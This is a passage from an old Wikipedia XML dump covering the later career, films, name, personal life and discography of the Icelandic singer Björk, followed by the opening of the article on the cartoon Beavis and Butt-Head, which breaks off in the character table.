''Vespertine'' spawned three singles: &quot;Hidden Place&quot;, &quot;Pagan Poetry&quot;, and &quot;Cocoon&quot;. America's then-more independent and artistic music video channel, [[MTV2]], played the album's first video, &quot;Hidden Place&quot;, pretty heavily, despite its somewhat controversial lyrics and imagery. However, the next video, for &quot;Pagan Poetry&quot;, brought Björk to an even higher level of controversy with the channel. The song's video features graphic piercings, blurred sex scenes, and Björk's exposed nipples. As a result, the clip was initially rarely shown by MTV, and certain parts (for example, Björk's breasts) were censored out during the rare occasions when it was played. In [[2002]], the clip finally enjoyed unedited American airing as part of a late night special on MTV2 entitled ''[[Most Controversial Music Videos]]''. Previously banned or censored videos were shown in their entirety during the [[Television rating system|TV-MA]]-rated special which aired on MTV2 regularly on weekends between 1 and 5 AM, until the infamous [[Super Bowl XXXVIII halftime show controversy|Janet Jackson incident]] at the [[2004]] [[Super Bowl]]. The video for &quot;Cocoon&quot; also featured a naked Björk, this time with her nipples secreting a red thread that eventually enveloped the singer herself in a cocoon. The video was also not aired by MTV.

=== Family Tree / Greatest Hits ===
[[2002 in music|2002]] saw the appearance of the CD box set ''[[Family Tree (album)|Family Tree]]'' containing a &quot;these-are-my-roots&quot; retrospective of Björk's career, comprising many previously unreleased versions of her compositions, including some very quiet work with a [[string quartet]], the [[Brodsky Quartet]].  Also released that year was the album ''[[Greatest Hits (Björk)|Greatest Hits]]'', a retrospective of the previous 10 years of her solo career as deemed by the public: The songs on the album were chosen by Björk's fans through a poll on Björk's website.  A DVD edition of the CD was also released; it contained all of Björk's solo music videos up to that point. The new single from the set, &quot;It's In Our Hands&quot;, charted in the UK at No. 37.

In [[2003 in music|2003]] Björk released a series of low-priced DVDs and CD box set called ''[[Live Box]]'' containing [[concert|live recording]]s of her previous albums.

=== Medúlla ===
[[2004 in music|2004]] saw the release of Björk's ''[[Medúlla]]'', in late August. ''Medúlla'' had been more of an impromptu piece of work after the two concept albums, but in the midst of production Björk decided the album would work best as an entirely vocal-based album. The majority of the sounds on the album are created by vocalists (although these sounds are often electronically distorted). Björk used the vocal skills of [[Hip hop music|Hip hop]] [[Beatboxer]] [[Rahzel]], Japanese beatboxer [[Dokaka]], avant-rocker [[Mike Patton]], [[Soft Machine]] drummer/singer [[Robert Wyatt]], and several [[choir]]s; she again appropriated text from poet [[E. E. Cummings]] for the song &quot;Sonnets/Unrealities XI.&quot; ''Medúlla'' has a raw, guttural, and ancestral feel. 

In August [[2004]] Björk performed the song &quot;Oceania&quot; (from her ''Medúlla'' album) at the [[2004 Summer Olympics opening ceremony|Opening Ceremony]] of the [[2004 Summer Olympics]] in [[Athens]], [[Greece]]. In typical Björk style, her performance was one of the more unusual ones of the event.  As she sang, her dress slowly unravelled to reveal a 10,000 square foot (900 m²) map of the world, which she let flow over all of the Olympic atheletes. The song &quot;Oceania&quot; was written especially for the occasion and features the vocals of Shlomo, a Leeds based beatboxer, and a London choir. An alternate version of the song began circulating on the internet with additional vocals by [[Kelis]]. Though some were confused as to the authenticity of this collaboration, Björk's camp confirmed its legitimacy. The follow-up of &quot;Oceania&quot; was &quot;Who is it&quot; which charted at No. 26 in the UK followed by &quot;Triumph of a Heart&quot; in [[2005]] charting at No. 31.  A video for the potential next single, &quot;Where is the Line?&quot;, was filmed in collaboration with the [[Iceland]]ic artist [[Gabríela Fridriksdóttir]] in late 2004.

=== Army of Mixes ===
After the disastrous [[tsunami]] which struck [[Southeast Asia]] in late 2004, Björk began working on a new project, ''Army of Mixes''. This new project recruited fans and musicians from around the world as Björk posted on her website the need for the covering and remixing of the 1995 hit, &quot;Army of Me&quot;. Björk was overwhelmed with the 600 responses which came flooding in. Out of these Björk as well as co-writer Graham Massey, picked the best 20 to appear on the album. The album was released in April in the UK and in late May 2005 the US. It peaked at No.14 on the dance albums chart in the UK. As of January 2006, the album had raised around £250,000 to help UNICEF's work in the south east Asian region.

=== Drawing Restraint 9 ===
On [[July 25]] [[2005]] in the UK and on [[August 23]] in the US, Björk released the album ''[[Drawing Restraint 9 (album)|Drawing Restraint 9]]''.  It is a soundtrack to her partner [[Matthew Barney]]'s movie of the [[Drawing Restraint 9|same title]]; Björk explores traditional [[Japanese music]] styles to complement the experimental film, where the two lovers find themselves on a whaling ship and cut off each other's feet.

Signifying her status as one of pop music's true originals and one of the most daring, innovative, and idiosyncratic artists of the last two decades, Björk was awarded the prestigious Inspiration Award at the Annual [[Q Magazine]] Awards in [[October]] [[2005]], accepting the prize from Robert Wyatt, with whom she collaborated on [[2004]]'s ''Medúlla'' album.

=== Currently ===
At the recent [[Q Magazine]] Awards, Björk said in an interview that she is living in [[Reykjavík]] again and is starting work on a new album. Nothing has been said of the content or theme of the album, although Björk has said that she plans to record some of it using the latest computer technology on a round-the-world boat trip with partner [[Matthew Barney]] and their daughter Isadora in [[2006]]. She is currently training for the trip.

Björk also performed with [[Zeena Parkins]] recently at the Zenkel Hall in [[Carnegie Hall]] for [[Meredith Monk]]'s &quot;Making Music&quot; concert. They performed Meredith's &quot;Gotham Lullaby&quot;, a song Björk had also performed while she was touring. Reviews of the concert can be seen at the [http://4um.bjork.com Björk 4um]. Björk is also currently involved in the remixing of her five solo studio albums (Debut, Post, Homogenic, Vespertine &amp; Medúlla) in a 5.1 surround sound re-issue set for a March 2006 release.

On [[January 10]], [[2006]], Björk earned another [[BRIT Awards]] nomination for Best International Female Solo Artist.

== Björk in film ==
[[Image:Bjork - dancer in the dark.jpg|thumb|200px|Björk in Lars von Trier's ''Dancer in the Dark'']]

Björk's intermittent acting career began in 1990, when she appeared in ''[[The Juniper Tree]]'', a tale of witchcraft based on the [[Brothers Grimm]] story of the same name. Björk played the role of Margit, a girl whose mother has been killed for practising witchcraft. Björk also had an uncredited role in 1994's ''Prêt-à-Porter''.

In 1999, Björk was asked to write and produce the musical score for the film ''[[Dancer in the Dark]]'', a genre-bending musical via drama about an immigrant named Selma who is struggling to pay for an operation to prevent her son from going blind. Director [[Lars von Trier]] eventually asked her to consider playing the role of Selma, a proposal she initially turned down. He then threatened to stop the project, which would have made all the musical work she had already done useless. Eventually, she accepted. Filming began in early 1999, and the film debuted in 2000 at the 53rd [[Cannes Film Festival]]. Björk received the best actress award for her role, and yet she described the shoot as so physically and emotionally trying that she has sworn off acting ever again.  This was a rumour, however that was put to rest in numerous interviews. Björk later stated that she always wanted to do one musical in her life, and this was the one. She also said that she could not do movies and music at the same time. The soundtrack Björk created for the film was released with the title ''[[Selmasongs]]''. The album features a duet with [[Thom Yorke]] of [[Radiohead]] titled &quot;I've Seen it All&quot;. She was invited to record [[Gollum's Song]] for the film ''[[The Lord of the Rings: The Two Towers (film)|The Lord of the Rings: The Two Towers]]'', but declined the invitation, as she was then pregnant; the track was instead recorded by her fellow Icelander [[Emiliana Torrini]].

[[Image:BjorkGuest.jpg|frame|right|Björk in &quot;Drawing Restraint 9&quot;]]

In 2005, Björk collaborated with her New York-based long-time boyfriend [[Matthew Barney]] on the experimental art film [[Drawing Restraint 9]], a no-dialogue exploration of [[Japanese culture]]. Björk and Matthew both appear in the film, even though Björk commented that she wouldn't act again.  She says that what she does in the film isn't acting; it's being a human sculpture. She is also responsible for the film's soundtrack, her second after 2000's ''[[Selmasongs]]''.

== Her name ==
Björk usually goes by her first name only.  This is not a stage name or affectation; it is normal for an Icelander to be referred to by his or her first name, as the last name simply indicates the name of the father. See [[Icelandic name|Icelandic naming conventions]].

''Björk'' means &quot;a [[birch]] tree&quot; in [[Icelandic language|Icelandic]] (the meaning of Icelandic names is often transparent), cognate with [[Old English language|Old English]] ''beorc'' and the modern English word. Though many English-speakers pronounce her name &quot;Byork&quot;, a more accurate approximation would be &quot;Byerk&quot;, which she has pointed out rhymes with &quot;jerk&quot;. [http://ebweb.at/ortner/tia/97/babe9706/babe9706.html] ''Guðmundsdóttir'' is pronounced roughly &quot;GWUTH-muns-doe-tir&quot;, and means &quot;Guðmundur's daughter&quot;.

Björk's father, [[Guðmundur Gunnarsson]], is a well known labour leader in Iceland and was nationally recognized before his daughter became famous.

== Personal life ==
Björk and her partner, contemporary media artist  [[Matthew Barney]], have a daughter, Isadora, born October 3, 2002. Björk also has a son, Sindri, born June 8, 1986, by Þór Eldon who was her bandmate in the [[1980s]] post-punk group &quot;The Sugarcubes&quot;. Her son Sindri Þórsson now has his own band called &quot;Desida&quot;, where he plays bass. They garnered some positive reviews after their performance at [[Iceland Airwaves]] in 2005.

On the negative side, Björk has complained of being hounded by paparazzi in England and in 1996 two separate incidents gave the media much to chew on. First there was &quot;The Bangkok Incident&quot; - a rather notorious brawl that was captured on tape. After a long flight to Thailand an obviously exhausted Björk emerged from an aircraft at Don Muang airport with her then ten year old son. A television reporter attempted to get her attention as she hurried past the TV crews, but failed. The reporter then made a move towards Björk's son and seemed to try to grab hold of him as she put the microphone in his face. Björk suddenly snapped and attacked the reporter, landing several blows in a confusing mêlée that was quickly broken up. This incident may be connected to her overall frustration with the media invading her privacy at that time, or it may simply have been caused by exhaustion, jet lag and the confusion of the situation.

Later that year a more disturbing story emerged - this time casting Björk as the victim but causing her still more distress. An apparently deranged fan from Florida named Ricardo Lopez (not to be confused with the boxer) filmed himself in the process of making a bomb intended to at the very least disfigure his idol if not kill her outright. While the device, which was intercepted in the mail sorting room near its final destination in England, has frequently been described as a disfiguring &quot;acid bomb,&quot;  Lopez says on one of the many tapes he made of himself, &quot;I am the angel of death for her.&quot; This, and his eventual on-tape actions, seem to indicate that he did not expect her to survive.  

The more than 20 hours of videotape detailing his deranged obsession with Björk, the construction of the device and general rantings then end quite dramatically as Lopez takes out a gun. Believing his device had either killed Björk or would soon do so, Lopez shot himself on camera in an apparent attempt to meet her in the afterlife. He was successful in taking his own life but the tape was seen by police and the package was intercepted in time to save Björk.

Already a private person, Björk was loath to comment on either of these incidents and later told the Guardian: &quot;It just got a bit much.&quot;

In a [http://news.bbc.co.uk/2/hi/entertainment/4594602.stm poll] published by BBC Homes and Antiques magazine in January 2006, Björk was voted the most eccentric star, beating [[Chris Eubank]], [[David Icke]], and [[Doctor Who]] actor [[Tom Baker]].

==Singles==
=== The Sugarcubes singles ===
{| class=&quot;wikitable&quot;
!align=&quot;left&quot;|Release
!align=&quot;left&quot;|Single
!align=&quot;left&quot;|Album
!align=&quot;left&quot;|UK chart
|-
|align=&quot;left&quot;|January 1992
|align=&quot;left&quot;|''[[Hit]]''
|align=&quot;left&quot;|''[[Stick Around For Joy]]''
|align=&quot;center&quot;|'''#17''' 
|}

=== Björk's solo singles ===
{| class=&quot;wikitable&quot;
!align=&quot;left&quot;|Release
!align=&quot;left&quot;|Single
!align=&quot;left&quot;|Album
!align=&quot;left&quot;|UK chart
|-
|align=&quot;left&quot;|June 1993
|align=&quot;left&quot;|''[[Human Behaviour]]''
|align=&quot;left&quot;|''[[Debut (album)|Debut]]''
|align=&quot;center&quot;|'''#36''' 
|-
|align=&quot;left&quot;|September 1993
|align=&quot;left&quot;|''[[Venus as a Boy]]''
|align=&quot;left&quot;|''[[Debut (album)|Debut]]''
|align=&quot;center&quot;|'''#29'''
|-
|align=&quot;left&quot;|October 1993
|align=&quot;left&quot;|''[[Play Dead]]''
|align=&quot;left&quot;|''[[Debut (album)|Debut]]''
|align=&quot;center&quot;|'''#12'''
|-
|align=&quot;left&quot;|December 1993
|align=&quot;left&quot;|''[[Big Time Sensuality]]''
|align=&quot;left&quot;|''[[Debut (album)|Debut]]''
|align=&quot;center&quot;|'''#17'''
|-
|align=&quot;left&quot;|March 1994
|align=&quot;left&quot;|''[[Violently Happy]]''
|align=&quot;left&quot;|''[[Debut (album)|Debut]]''
|align=&quot;center&quot;|'''#13'''
|-
|align=&quot;left&quot;|May 1995
|align=&quot;left&quot;|''[[Army of Me]]''
|align=&quot;left&quot;|''[[Post (album)|Post]]''
|align=&quot;center&quot;|'''#10''' 
|-
|align=&quot;left&quot;|August 1995
|align=&quot;left&quot;|''[[Isobel]]''
|align=&quot;left&quot;|''[[Post (album)|Post]]''
|align=&quot;center&quot;|'''#23'''
|-
|align=&quot;left&quot;|November 1995
|align=&quot;left&quot;|''[[It's Oh So Quiet]]''
|align=&quot;left&quot;|''[[Post (album)|Post]]''
|align=&quot;center&quot;|'''#4'''
|-
|align=&quot;left&quot;|February 1996
|align=&quot;left&quot;|''[[Hyperballad]]''
|align=&quot;left&quot;|''[[Post (album)|Post]]''
|align=&quot;center&quot;|'''#8'''
|-
|align=&quot;left&quot;|November 1996
|align=&quot;left&quot;|''[[Possibly Maybe]]''
|align=&quot;left&quot;|''[[Post (album)|Post]]''
|align=&quot;center&quot;|'''#13'''
|-
|align=&quot;left&quot;|March 1997
|align=&quot;left&quot;|''[[I Miss You (Björk song)|I Miss You]]''
|align=&quot;left&quot;|''[[Post (album)|Post]]''
|align=&quot;center&quot;|'''#36'''
|-
|align=&quot;left&quot;|September 1997
|align=&quot;left&quot;|''[[Jóga]]''
|align=&quot;left&quot;|''[[Homogenic]]''
|align=&quot;center&quot;|'''-'''
|-
|align=&quot;left&quot;|December 1997
|align=&quot;left&quot;|''[[Bachelorette (song)|Bachelorette]]''
|align=&quot;left&quot;|''[[Homogenic]]''
|align=&quot;center&quot;|'''#21'''
|-
|align=&quot;left&quot;|October 1998
|align=&quot;left&quot;|''[[Hunter (Björk song)|Hunter]]''
|align=&quot;left&quot;|''[[Homogenic]]''
|align=&quot;center&quot;|'''#44'''
|-
|align=&quot;left&quot;|December 1998
|align=&quot;left&quot;|''[[Alarm Call]]''
|align=&quot;left&quot;|''[[Homogenic]]''
|align=&quot;center&quot;|'''#33'''
|-
|align=&quot;left&quot;|June 1999
|align=&quot;left&quot;|''[[All is Full of Love]]''
|align=&quot;left&quot;|''[[Homogenic]]''
|align=&quot;center&quot;|'''#24''' 
|-
|align=&quot;left&quot;|August 2001
|align=&quot;left&quot;|''[[Hidden Place]]''
|align=&quot;left&quot;|''[[Vespertine]]''
|align=&quot;center&quot;|'''#21'''
|-
|align=&quot;left&quot;|November 2001
|align=&quot;left&quot;|''[[Pagan Poetry]]''
|align=&quot;left&quot;|''[[Vespertine]]''
|align=&quot;center&quot;|'''#38'''
|-
|align=&quot;left&quot;|March 2002
|align=&quot;left&quot;|''[[Cocoon]]''
|align=&quot;left&quot;|''[[Vespertine]]''
|align=&quot;center&quot;|'''#35'''
|-
|align=&quot;left&quot;|December 2002
|align=&quot;left&quot;|''[[It's In Our Hands]]''
|align=&quot;left&quot;|''[[Björk's Greatest Hits]]''
|align=&quot;center&quot;|'''#37'''
|-
|align=&quot;left&quot;|August 2004
|align=&quot;left&quot;|''[[Oceania]]''
|align=&quot;left&quot;|''[[Medúlla]]''
|align=&quot;center&quot;|'''-'''
|-
|align=&quot;left&quot;|October 2004
|align=&quot;left&quot;|''[[Who Is It]]''
|align=&quot;left&quot;|''[[Medúlla]]''
|align=&quot;center&quot;|'''#26'''
|-
|align=&quot;left&quot;|March 2005
|align=&quot;left&quot;|''[[Triumph of a Heart]]''
|align=&quot;left&quot;|''[[Medúlla]]''
|align=&quot;center&quot;|'''#31'''
|}

Björk has had three Top 10 singles and seven Top 20 singles in the UK. All of her chart-eligible singles have charted within the Top 40, aside from [[Hunter]], which is on [[Homogenic]].

The first single from Homogenic, [[Jóga]], had a limited release of 3000 copies, meaning that it did not chart.

[[Play Dead]] was not included on the initial release of Debut. After the release of the single, [[Debut]] was re-issued with the song as a bonus 12th track in the UK and Europe.

[[Oceania]], from [[Medúlla]], was released  only as a radio-single and did not have a full commercial single release.

A third single from [[Medúlla]], [[Where is the Line]], was pencilled in for release. But because of the release of the [[Drawing Restraint 9]] soundtrack and the [[Army of Me: Remixes and Covers]] album it did not make sense to market all these projects together. It was decided to give the DR9 soundtrack maximum exposure. [http://4um.bjork.com]

== Partial discography ==
:''See [[Björk discography]] or Official Website for an extensive listing of [[albums (music)|albums]] and [[singles (music)|singles]].''

=== With [[The Sugarcubes]] ===
* [[1988 in music|1988]] - ''[[Life's Too Good]]''
* [[1989 in music|1989]] - ''[[Here Today, Tomorrow, Next Week!]]''
* [[1992 in music|1992]] - ''[[Stick Around for Joy]]''
* [[1992 in music|1992]] - ''[[It's It]]''
* [[1998 in music|1998]] - ''[[The Great Crossover Potential]]''

=== Solo studio albums ===
* [[1977 in music|1977]] - ''[[Björk (album)|Björk]]''
* [[1990 in music|1990]] - ''[[Gling-Gló]]'' (with [[Björk Guðmundsdóttir &amp; Tríó Guðmundar Ingólfssonar|Tríó Guðmundar Ingólfssonar]])
* [[1993 in music|1993]] - ''[[Debut (Björk)|Debut]]''
* [[1995 in music|1995]] - ''[[Post (album)|Post]]''  
* [[1997 in music|1997]] - ''[[Homogenic]]'' 
* [[2000 in music|2000]] - ''[[Selmasongs: Music From the Motion Picture Soundtrack Dancer in the Dark]]''  
* [[2001 in music|2001]] - ''[[Vespertine]]'' 
* [[2004 in music|2004]] - ''[[Medúlla (album)|Medúlla]]'' 
* [[2005 in music|2005]] - ''[[Drawing Restraint 9 (album)|Drawing Restraint 9]]'' [Original Soundtrack]

=== Other releases ===
* [[1997 in music|1997]] - ''[[Telegram (album)|Telegram]]'' [Remix album]
* [[2002 in music|2002]] - ''[[Björk's Greatest Hits (album)|Björk's Greatest Hits]]'' 
* [[2002 in music|2002]] - ''[[Family Tree (album)|Family Tree]]''  [Box Set]
* [[2002 in music|2002]] - ''[[Vespertine Live - Royal Opera House]]'' [DVD]
* [[2002 in music|2002]] - ''[[Later - 1995-2001 seven TV appearances]]'' [DVD]
* [[2003 in music|2003]] - ''[[The Live: 1993-2002]]'' [Box Set]
* [[2005 in music|2005]] - ''[[Army of Me: Remixes and Covers]]''

== Television ==
* [[1987]] - ''[[Glerbrot]]'' character: María. ([[Ríkisútvarpíð]]) - National Icelandic Television.

== Films / Shortcuts ==
* [[1987]] - ''[[The Juniper Tree]]'', character: Margit. ([[Rhino Home Video]])
* [[1994]] - ''[[Prêt-à-Porter (film)|Prêt-à-Porter]]'', featuring Björk as a model.
* [[2000]] - ''[[Dancer in the Dark]]'', character: Selma Jezková. ([[Zentropa Entertainment]])
* [[2005]] - ''[[Drawing Restraint 9]]'', character is known as the &quot;Guest.&quot; ([[Matthew Barney]])
* [[2006]] - ''[[Anna and the Moods]]'', Björk performs the voice of  Anna Young. ([[CAOZ Ltd.]])

== Bibliography ==
* [[1984]] - ''[[Um Úrnat frá Björk]]'' (free distribution)
* [[2001]] - ''[[Björk (libro)|Björk]]'' ([[Little-i]])
* [[2003]] - ''[[Björk Live Book]]''

== Related bibliography ==
* ''Post'', by [[Sjón]] Sigurðsson/Björk Ltd. Bloomsbury (1995).
* ''Björk - The Illustrated Story'', by Paul Lester. Hamlyn (1996).
* ''Björk - An Illustrated Biography'', by Mick St. Michael. Omnibus Press (1996). 
* ''Björk Björkgraphy'', by Martin Aston. Simon &amp; Schuster (1996).
* ''Björk'', Colección Imágenes de Rock, N°82, by Jordi Bianciotto. Editorial La Máscara (1997).
* ''Dancer in the Dark'', by Lars von Trier. Film Four (2000).
* ''Lobster or Fame'', by Ólafur Jóhann Engilbertsson. Bad Taste (2000). 
* ''Army of She'', by Evelyn McDonnell. Random House (2001).
* ''Human Behaviour'', by Ian Gittins. Carlton (2002).
* ''Bjork: There's More to Life Than This: The Stories Behind Every Song'', by Ian Gittins. Imprint (2002).
* ''Wow and Flutter'', by Mark Pytlik. ECW (2003).

==See also==
* [[Björk Guðmundsdóttir &amp; Tríó Guðmundar Ingólfssonar]]
* [[List of best-selling music artists]]
* [[List of Number 1 Dance Hits (United States)]]
* [[List of artists who reached number one on the US Dance chart]]

==External links==
{{commons|Björk}}
{{wikiquote}}
* '''[http://www.bjork.com Official Website]'''
* [http://bandnews.org/band/Bj%F6rk Björk News]
* [http://www.bjork.com/facts/lyrics/ Björk Lyrics]
* [http://unit.bjork.com/77island/ 77ísland - Complete Björk Discography]
* [http://www.bjorkish.net Björkish.net], news, specials videos, photographs and forums.
* [http://www.sofftchevaliers.net/ Sofftchevaliers.net], French website.
* [http://le-cafe-de-jemenvol.zikforum.com/ Jemenvol], French forum / News
* [http://www.bjork.digimer.pl Björk Digimer], it features MP3 and MIDI samples of Björk's entire music career.
* [http://www.therestisnoise.com/2004/10/alex_ross_bjrk.html Björk's Saga], an in-depth article on Björk from [[The New Yorker]], [[August 30]], [[2004]] by their music critic Alex Ross
* [http://sekkur.com/bbu/index.php/ Björk By Us] A Great Forum Where You Can Find Nice People To Chat With
* [http://www.aifob.tk/ All is Full of Björk], Latinamerican fansite frequently updated including downloads and a forum.
* [http://www.bjorkonline.com/unplugged/unplugged.html MTV Unplugged (1994)], songs recorded during a presentation on MTV.
* [http://www.bjork.com.br/abjork BjörkJsnet], lots of information in English and Portuguese.
* [http://home4.inet.tele.dk/olrik/bjork/disco/ Björk's Purple Lodge Discography], discography including videos and other releases.
* [http://www.bjoerk.ch bjoerk.ch], fan site with image gallery.
* [http://www.b-j-o-r-k.com b-j-o-r-k.com], fan site including downloads, icons, images, and a forum.
* [http://www.allbjork.com/ allbjork.com]
* [http://bjorklossless.goudwater.nl/ Bjork Hub] share non-commercial live recordings
* {{imdb name|id=0001951|name=Björk}}
* [http://bjork.mainac.net/ bjorkmanic.net]
* [http://4um.bjork.com/ 4um] Official Björk discussion forum
* [http://www.askmen.com/women/singer/51_bjork.html Bjork on AskMen.com]
* [http://boogiebjork.tk/ www.BoogieBjörk.tk] Mexican fansite for Spanish-speaking Björk fans.

[[Category:1965 births|Bjork]]
[[Category:Electronic musicians|Bjork]]
[[Category:Female singers|Bjork]]
[[Category:Icelandic actors|Bjork]]
[[Category:Icelandic musicians|Bjork]]
[[Category:Icelandic people|Bjork]]
[[Category:Icelandic songwriters|Bjork]]
[[Category:Icelandic vocalists|Bjork]]
[[Category:Living people|Bjork]]
[[Category:Trip hop artists|Bjork]]
[[Category:One Little Indian Records artists]]

{{Link FA|es}}

[[be:Björk]]
[[cs:Björk]]
[[csb:Björk]]
[[da:Björk]]
[[de:Björk]]
[[el:Μπιόρκ]]
[[eo:Björk]]
[[es:Björk]]
[[fi:Björk]]
[[fr:Björk]]
[[he:ביורק]]
[[hu:Björk]]
[[is:Björk Guðmundsdóttir]]
[[it:Björk]]
[[ja:ビョーク]]
[[ko:비에르크]]
[[nl:Björk]]
[[no:Björk]]
[[pl:Björk]]
[[pt:Björk]]
[[ru:Бьорк]]
[[sv:Björk Guðmundsdóttir]]</text>
    </revision>
  </page>
  <page>
    <title>Beavis and Butt-head</title>
    <id>3427</id>
    <revision>
      <id>42069628</id>
      <timestamp>2006-03-03T16:37:56Z</timestamp>
      <contributor>
        <ip>152.163.100.139</ip>
      </contributor>
      <comment>/* Memorable One-offs */</comment>
      <text xml:space="preserve">{{infobox television |   
 | show_name = Beavis and Butt-Head   
 | image = [[Image:hugegulp.jpeg]]   
 | caption = Beavis (right) and Butt-Head. 
 | rating = {{TV-14}}
 | format = [[Situation comedy|Sitcom]]&lt;br /&gt;[[Animation]]   
 | runtime = 18-20 minutes
 | creator = [[Mike Judge]]   
 | starring = [[Mike Judge]]&lt;br /&gt;[[Tracy Grandstaff]]&lt;br /&gt;[[Adam Welsh]]&lt;br /&gt;   
 | country = [[United States|USA]]   
 | network = [[MTV]]/[[MTV2]]
 | first_aired = [[March 4]], [[1993]]   
 | last_aired = [[November 28]] [[1997]]   
 | num_episodes = 199 (65 shows)   
 | imdb_id = 0105950   
 |}} 
'''''Beavis and Butt-Head''''' is an [[United States|American]] [[animated television series]] that originally aired on the [[cable television]] channel [[MTV]] from 1993 to 1997 and can now be seen in syndication on [[MTV2]]. Each show contains short cartoons centering on a pair of post-pubescent teenagers by the names of Beavis and Butt-Head who live and go to school in the fictional town of Highland, which seems to be somewhere in the American [[Southwest]]. These cartoons are broken up by short breaks in which Beavis and Butt-Head watch music videos and usually poke fun at them.

{{spoiler}}

==Origins==

The Beavis &amp; Butt-Head characters were created by [[Mike Judge]]. Judge has said that he imagined Beavis and Butt-Head as slacker students at the real-life Highland High School on Coal Avenue in [[Albuquerque]], [[New Mexico]], where he lived. Specifically, he first created Butt-Head as his idea of the archetypal slacker high school student, incorporating the look, name, and voice of a friend who invited anyone to kick him in the rear-end, and calling himself &quot;Iron-butt.&quot; 

When attempting to conceive the look for a companion to Butt-Head, it is rumored that Judge combined the look of a nerdy classmate he knew from high school and his own bad artistic rendering of [[Barry Manilow]]. He named him &quot;Beavis,&quot; (though unconfirmed by Judge, considered by some to be a slang word for &quot;penis&quot;) and modeled the voice after his own interpretation of what a typical &quot;frybrained teenager&quot; would sound like, incorporating the raspy laugh of the aforementioned classmate.

It is a popular myth at the [[University of California, San Diego]] (where Judge attended college) that the appearances of Beavis and Butt-Head were modeled on faculty at its Department of Physics. Their real-life models are said to be David Kleinfeld and James Branson.

==The characters==
&lt;div class=&quot;noprint&quot; style=&quot;clear: right; border: solid #aaa 1px; margin: 0 0 1em 1em; font-size: 90%; background: #f9f9f9; width: 250px; padding: 4px; spacing: 0px; text-align: left; float: right;&quot;&gt;
&lt;div style=&quot;float: left;&quot;&gt;[[Image:Wikiquote-logo-en.png|50px|none|]]&lt;/div&gt;
&lt;div style=&quot;margin-left: 60px;&quot;&gt;[[Wikiquote]] has a collection of quotations related to:
&lt;div style=&quot;margin-left: 10px;&quot;&gt;'''''[[Wikiquote:Beavis and Butthead|Beavis and Butt-Head]]'''''&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;

Beavis and Butt-Head are high school freshmen whose lifestyles revolve around [[Television|TV]], [[nachos]], [[Fruity Whips]], [[shopping mall|shopping malls]], [[heavy metal music]], and trying to [[sexual slang|&quot;score with chicks&quot;]]. Beavis wears a blue [[Metallica]] T-shirt, while Butt-Head wears a gray [[AC/DC]] T-shirt. (On some merchandising items these were changed to shirts saying &quot;Skull&quot; and &quot;Death Rock&quot; due to trademark and licensing legalities.)  Both Beavis and Butt-Head constantly snicker.

Their full names were never mentioned on the show. However it was suggested, in the feature-length film ''Beavis and Butt-Head Do America'', that Butt-Head's name is actually &quot;Butt Head&quot;. When one of the elderly female characters asks him his last name, he tells her it's &quot;Head&quot;, adding &quot;My first name's Butt&quot;.  In an episode of the TV show, he mentions having a cousin named [[dickhead|Richard Head]], a play off of the term 'Dick Head.' In another episode contradictory to this, he forges his mom's signature on a permission slip as &quot;Mrs. Butt-Head.&quot; 


{| class=&quot;wikitable&quot;
|-
! Picture !! Name !! Description
|-
|align=&quot;center&quot;| [[Image:Bb beavis.JPG|120px]]
| [[Beavis]]
| Has blonde hair, an underbite, and a fixated stare on his face which almost never looks straight but to the side.  Grunts when he laughs and his voice is reminiscent of horror film characters played by actor [[Peter Lorre]].  The more slapstick and excitable of the two leads; Beavis is oblivious of the obvious, and has a more passive demeanor that contrasts with Butthead's more aggressive personality.  Though the designated &quot;dumber&quot; of the two &amp;mdash; he has a tendency to be witty and, ironically, when discussing various subjects that neither of them understand, Beavis often is the most likely to guess the truer mechanisms at work. Beavis is highly impressionable, and it is implied in several episodes that he would be less of a troublemaker if removed from Butt-Head's influence. Beavis has a sugar-induced alter-ego named &quot;Cornholio.&quot;
|-
|align=&quot;center&quot;| [[Image:Bb butthead.JPG|120px]]
| [[Butthead]]
| Has brown hair, dental braces and his eyes are squinted. His top gums are often exposed and he speaks nasally with a deep voice and a slight lisp, repeatedly punctuating his speech with &quot;uhh…&quot;  Calmer, cockier, and marginally more intelligent than Beavis; Butt-Head is oblivious of subtleties, but is usually 100% confident in everything he says and does &amp;mdash; no matter how ridiculous or inane it is.  Definitely the &quot;leader&quot; of the duo, he also derives pleasure from being regularly abusive to Beavis.
|-
|align=&quot;center&quot;| [[Image:BB_TomAnderson.jpg]]
| [[Tom Anderson]]
| The near-sighted, elderly neighbor of Beavis and Butt-Head. Most often, he hires them to do odd jobs, which results in them destroying his yard, home, or personal belongings. Due to his poor eyesight and mild senility, he never recognizes the two when they return for more chaos. He served in World War II and in the Korean War as part of the Navy. This character would be retooled as the basis for Hank Hill in Judge's next show [[King of the Hill]].
|-
|align=&quot;center&quot;| [[Image:BB VanDriessen.jpg]]
| [[David Van Driessen]]
| A teacher at Highland High school, and arguably the only person who cares about Beavis and Butt-Head. Van Driessen is a hippie with a forgiving nature and gentle demeanor. His attempts to teach Beavis and Butt-Head useful life lessons typically ends in disaster, as they almost always deduce the wrong message. He has been shown teaching classes on Biology, Art, Animation, Economics, Health, History, Literature, etc.
|-
|align=&quot;center&quot;| [[Image:BB Buzzcut.jpg]]
| [[Coach Buzzcut|Bradley Buzzcut]]
| Another of the duo's high school teachers, and the antithesis of Van Driessen.  Loud-mouthed, angry and volatile; Buzzcut is a former [[United States Marine Corps|Marine]] and, with the possible exception of Principal McVicker, hates the duo more than any other character.  He is often charged with administering discipline.  Like Mr. Van Driessen, he teaches a number of classes, including P.E., Health, and Math.
|-
|align=&quot;center&quot;| [[Image:BB McVicker.jpg]]
| [[Principal McVicker]]
| Principal of Highland High and, arguably, Beavis and Butt-Head's biggest enemy. The two have unintentionally ruined his life, and have driven him so far to the edge of sanity that he has a drawer of stress medication, drinks while at school, and occasionally wets his pants.  He often stutters, stammers and shakes, and regularly schemes with Buzzcut to come up with ways to either humiliate and/or eradicate the pair from their lives.  Many episodes begin with Beavis and Butt-Head in his office. They refer to him as &quot;McDicker.&quot; He is possibly deceased, due to a heart attack.
|-
|align=&quot;center&quot;| [[Image:BB Daria.jpg]]
| [[Daria Morgendorffer]]
